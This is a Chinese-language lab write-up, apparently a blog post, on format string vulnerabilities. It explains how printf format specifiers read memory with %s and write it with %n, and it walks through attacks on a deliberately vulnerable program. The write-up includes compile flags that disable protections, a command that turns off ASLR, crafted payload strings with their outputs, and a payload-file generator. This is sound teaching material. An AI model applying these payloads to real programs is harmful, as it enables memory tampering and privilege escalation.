格式化字符串漏洞实验
2015-07-19 10:47
316 查看
格式化字符串漏洞实验
一、 实验描述
格式化字符串漏洞是由像 printf(user_input) 这样的代码引起的,其中 user_input 是用户输入的数据,具有 Set-UID root 权限的这类程序在运行的时候,printf 语句将会变得非常危险,因为它可能会导致下面的结果:使得程序崩溃 任意一块内存读取数据 修改任意一块内存里的数据
最后一种结果是非常危险的,因为它允许用户修改 Set-UID root 程序内部变量的值,从而改变这些程序的行为。
本实验将会提供一个具有格式化漏洞的程序,我们将制定一个计划来探索这些漏洞。
二、实验内容
1.预备知识
(1)格式化字符串
考虑语句printf ("Number : %d\n", 5688);,其中%d为格式符,在输出时将会被后面的参数5688替换,得到输出
Number : 5688(Enter)。格式符除%d外还有很多种。
格式符 | 含义 | 含义(英) | 传入参数 |
---|---|---|---|
%d | 十进制数(int) | decimal | 值 |
%u | 无符号十进制数 (unsigned int) | unsigned decimal | 值 |
%x | 十六进制数 (unsigned int) | hexadecimal | 值 |
%s | 字符串 ((const) (unsigned) char *) | string | 引用(指针) |
%n | %n 符号以前输入的字符数量 (* int) | number of bytes written so far | 引用(指针) |
格式化函数的行为由格式化字符串控制,printf 函数从栈上取得参数。考虑下面的语句。
printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b, &c);
程序执行语句时,会从栈上读取相应的参数。这条语句对应的栈的结构如下图所示。执行printf函数前,先将所有参数一次压栈,执行时以此读出。
那么我们考虑一下参数数量不匹配时会发生的情况。考虑下面的语句。
printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b);
首先,这段程序时可以编译通过的。printf是参数长度可变的函数,编译器在编译时一般不做检查。printf函数本身只知道从栈上读取数据,并不知道数据是否属于当前函数调用。除非指针超过当前函数可访问范围,否则不会报错。
(3)用于访问任意地址的内容
通过不匹配的参数,我们可以访问任意位置的内存地址。换言之,只要我们能把想要访问的地址编码到栈空间中,我们就可以访问这个地址中的内容。
int a = 0x13061188; printf("%s");
下面我们来实现一个用于访问特定内存地址的程序。
int main(int argc, char *argv[]) { char user_input[100]; ... ... /* other variable definitions and statements */ scanf("%s", user_input); /* getting a string from user */ printf(user_input); /* Vulnerable place */ return 0; }
对于这个程序,进需要一个语句就可以访问特定内存中(0x10014808)的数据。
printf ("\x10\x01\x48\x08 %x %x %x %x %s");
函数调用时的栈空间示意图如下。printf不知道栈中的参数是不是为当前函数准备的,所以不经判断进行偏移。通过参数的偏移,我们让%s的指针指向了当前字符串的第一个32位数据,也就是我们想要访问的内存地址0x10014808,可想而知我们就可以通过这个%s打印出这一段内存中的数据。可以看出,攻击的难点在于,找到栈指针到我们的输入的偏移量,即参数的数量。
(4)利用%n向内存中写入数据
格式化字符串中有一个用于写入的格式
%n,作用是将%n前输出的字符数量写入到指针所指的内存中。如果我们将上一段代码中的
%s替换为
%n,我们就能重写0x10014808中的内容。
int output_count; printf ("1234567890%n", &output_count);
利用
%n这种特殊的功能,我们可以做到
重写程序标识控制访问权限 重写栈或者函数等等的返回地址
2.实验1-构造字符串进行攻击
我们需要攻击的目标程序如下。我们需要达到以下目标:
找出 secret[1]的值 修改 secret[1]的值 修改 secret[1]为期望值
//vul_prog.c
编译时关闭栈保护。
gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c
找出 secret[1]的值
显然,我们可以操作的整数只有输入的int_input,所以我们需要把secret[1]的地址写入到这个变量中。我们首先需要知道的是这个变量在栈上的位置。因此我们构造一组输入来寻找。lyt@lyt-ThinkPad-T61:~/Documents$ ./vul_prog The variable secret's address is 0x93dad0e8 (on stack) The variable secret's value is 0x e15010 (on heap) secret[0]'s address is 0x e15010 (on heap) secret[1]'s address is 0x e15014 (on heap) Please enter a decimal integer 2147483647 Please enter a string %08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x\n 4cc4b9f0,00000001,00000000,00000000,00000000,93dad248,93dad0f0,7fffffff,00e15010,78383025,30252c78,2c783830,3830252c,252c7838,78383025,30252c78,2c783830,3830252c,252c7838,78383025,30252c78\n The original secrets: 0x44 -- 0x55 The new secrets: 0x44 -- 0x55
我们找到输出中和输入相同的数字,这就是
int_input在栈中存储的位置。下面我们把
secret[1]的地址填进去,并打印相应地址中的内容。
lyt@lyt-ThinkPad-T61:~/Documents$ ./vul_prog The variable secret's address is 0x6d359718 (on stack) The variable secret's value is 0x 1117010 (on heap) secret[0]'s address is 0x 1117010 (on heap) secret[1]'s address is 0x 1117014 (on heap) Please enter a decimal integer 17920020 Please enter a string %x%x%x%x%x%x%x...%s... 72c0b9f010006d3598786d359720...U... The original secrets: 0x44 -- 0x55 The new secrets: 0x44 -- 0x55
我们可以得到输出结果为U,这正是ASCII码中0x55的对应字母。
修改 secret[1]的值
修改secret[1]的方法非常简单,仅需把前面的%s替换为
%n即可,修改的结果是,
secret[1]综合那个存储前面输出的字符数。
lyt@lyt-ThinkPad-T61:~/Documents$ ./vul_prog The variable secret's address is 0xddbcb228 (on stack) The variable secret's value is 0x 1a1d010 (on heap) secret[0]'s address is 0x 1a1d010 (on heap) secret[1]'s address is 0x 1a1d014 (on heap) Please enter a decimal integer 27381780 Please enter a string %x%x%x%x%x%x%x...%n... 1f4ac9f01000ddbcb388ddbcb230...... The original secrets: 0x44 -- 0x55 The new secrets: 0x44 -- 0x1f
修改 secret[1]为期望值
为了修改secret[1]为期望值,我们只需要控制前面输出的字符数量。对于每个%x,我们可以修改为
%0?x来填充前置0,或使用
%.?d来控制小数点后的位数,使其总长度达到特定位数。
我们试图将
secret[1]的值修改为0x100。
lyt@lyt-ThinkPad-T61:~/Documents$ ./vul_prog The variable secret's address is 0xf86fd278 (on stack) The variable secret's value is 0x e38010 (on heap) secret[0]'s address is 0x e38010 (on heap) secret[1]'s address is 0x e38014 (on heap) Please enter a decimal integer 14909460 Please enter a string %016x%016x%016x%016x%016x%016x%0160x%n 0000000006d4a9f0000000000000000100000000000000000000000000000000000000000000000000000000f86fd3d800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f86fd280 The original secrets: 0x44 -- 0x55 The new secrets: 0x44 -- 0x100
3.实验2-一个更难的攻击
现在我们加大难度,来看另一端程序。这次的程序中没有用户输入整数的部分,删去了与int_input相关的语句,因此不能输入地址进行内存寻址操作。我们的目标是修改secret[0]的值。
#include <stdlib.h> #include <stdio.h> #define SECRET1 0x44 #define SECRET2 0x55 int main(int argc, char *argv[]) { char user_input[100]; int *secret; //long int_input; int a, b, c, d; /* other variables, not used here.*/ /* The secret value is stored on the heap */ secret = (int *) malloc(2*sizeof(int)); /* getting the secret */ secret[0] = SECRET1; secret[1] = SECRET2; printf("The variable secret's address is 0x%8x (on stack)\n", &secret); printf("The variable secret's value is 0x%8x (on heap)\n", secret); printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]); printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]); //printf("Please enter a decimal integer\n"); //scanf("%d", &int_input); /* getting an input from user */ printf("Please enter a string\n"); scanf("%s", user_input); /* getting a string from user */ /* Vulnerable place */ printf(user_input); printf("\n"); /* Verify whether your attack is successful */ printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2); printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]); return 0; }
在做上一个实验时我们会发现,每次运行程序时,变量所在的地址会发生变化。在这个实验中,我们关闭堆栈随机化。
sysctl -w kernel.randomize_va_space=0关闭随机化后,每次执行时变量的存储位置不变,我们可以通过多次执行来进行攻击。
编译执行,我们得到
secret[0]的地址为0x602010。由于
0x20会被scanf当做分隔符,所以我们对源程序稍作修改,增加
int *padding = (int *)malloc(100 * sizeof(int));,改变这个地址,得到新地址
0x6021b0。
我们首先寻找
secret[0]在栈上的位置。
lyt@lyt-ThinkPad-T61:~/Documents$ ./vul_prog The variable secret's address is 0xffffdd68 (on stack) The variable secret's value is 0x 6021b0 (on heap) secret[0]'s address is 0x 6021b0 (on heap) secret[1]'s address is 0x 6021b4 (on heap) Please enter a string %8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x. f7dd59f0, 1, 0, 0, 0,ffffdec8,ffffdd70,f63d4e2e, 6021b0,2c783825. The original secrets: 0x44 -- 0x55 The new secrets: 0x44 -- 0x55
下面我们来构造输入字符串。为了能在字符串中填写ASCII码表中的全部字符,我们使用文件输入。生成文件的程序如下。
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int main() { char buf[1000]; int fp, size; unsigned int *address; /* Putting any number you like at the beginning of the format string */ address = (unsigned int *) buf; *address = 0x????; /* Getting the rest of the format string */ scanf("%s", buf+4); size = strlen(buf+4) + 4; printf("The string length is %d\n", size); /* Writing buf to "mystring" */ fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR); if (fp != -1) { write(fp, buf, size); close(fp); } else { printf("Open failed!\n"); } }
在addr中填充正确的地址,运行产生mystring作为输入。运行vul_prog。我们会发现secret[0]的值被修改,攻击成功。
相关文章推荐
- 数据库链接字符串查询网站
- BBSXP漏洞再探究
- Dedecms getip()的漏洞利用代码
- Flex字符串比较 还有Flex字符串操作
- Flex中对表格某列的值进行数字格式化并求百分比添加%
- 漏洞漫舞的飞骋
- OBlog任意文件下载漏洞
- IIS漏洞整理大全
- JSP脚本漏洞面面观
- 新思路现动网新漏洞
- 小议yxbbs漏洞利用代码
- 揭露88red生成htm静态页面企业建站系统漏洞第1/2页
- 四大漏洞入侵博客
- Debian灾难性漏洞
- Ruby中创建字符串的一些技巧小结
- 使用Nmap为你的Windows网络找漏洞的图文分析
- ASP下经常用的字符串等函数参考资料
- 将字符串小写转大写并延时输出的批处理代码
- 将字符串转换成System.Drawing.Color类型的方法
- Lua源码中字符串类型的实现